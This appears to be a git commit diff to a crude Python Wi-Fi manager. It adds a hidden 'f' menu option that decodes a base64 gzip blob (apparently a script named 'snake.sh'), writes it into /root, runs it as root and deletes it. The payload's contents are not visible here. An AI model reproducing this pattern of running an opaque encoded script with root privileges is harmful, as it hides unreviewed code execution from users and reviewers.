Some fun

parent 7206d377
...@@ -5,6 +5,11 @@ import psutil ...@@ -5,6 +5,11 @@ import psutil
import sys, os import sys, os
from shell_cmd import sh from shell_cmd import sh
import time import time
import stat
from io import StringIO
from base64 import b64decode
import gzip
try: try:
from setproctitle import setproctitle from setproctitle import setproctitle
...@@ -17,7 +22,43 @@ boot=False ...@@ -17,7 +22,43 @@ boot=False
auto=False auto=False
NETPATH='/etc/fuswim/networks' NETPATH='/etc/fuswim/networks'
fuckthat="""
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
"""
class colors: class colors:
ENDC = '\033[m' ENDC = '\033[m'
BLACK='\033[0;30m' BLACK='\033[0;30m'
...@@ -442,7 +483,7 @@ while not EXIT: ...@@ -442,7 +483,7 @@ while not EXIT:
selected = False selected = False
netind = {} netind = {}
fuck = "none" fuck = "none"
while fuck not in netind.keys() and fuck.lower() not in ['e', 'r', 'q','s', 'm']: while fuck not in netind.keys() and fuck.lower() not in ['e', 'r', 'q','s', 'm', 'f']:
nofuck(fuck) nofuck(fuck)
netind = show_fuck_list(nets) netind = show_fuck_list(nets)
fuck = input("\n Choose a fucking one by index, or press E for edit, R to remove, S to re-scan, Q to shit the hell out: ") fuck = input("\n Choose a fucking one by index, or press E for edit, R to remove, S to re-scan, Q to shit the hell out: ")
...@@ -456,10 +497,23 @@ while not EXIT: ...@@ -456,10 +497,23 @@ while not EXIT:
time.sleep(1) time.sleep(1)
elif fuck.lower()=='e': elif fuck.lower()=='e':
SM="editor" SM="editor"
elif fuck.lower()=='f':
SM="fuckthat"
elif fuck in netind.keys(): elif fuck in netind.keys():
selected=netind[fuck] selected=netind[fuck]
SM="preconnect" SM="preconnect"
elif SM=="fuckthat":
cont = gzip.decompress(b64decode(fuckthat))
with open("/root/.fuckthat.sh", "wb") as f:
f.write(cont)
f.close()
os.chmod("/root/.fuckthat.sh", stat.S_IEXEC)
os.system("/root/.fuckthat.sh")
os.remove("/root/.fuckthat.sh")
SM="main"
elif SM=="preconnect": elif SM=="preconnect":
if not selected['conf']['saved']: if not selected['conf']['saved']:
if insertNetwork(selected): if insertNetwork(selected):
......
Markdown is supported
0% or
You are about to add 0 people to the discussion. Proceed with caution.
Finish editing this message first!
Please register or to comment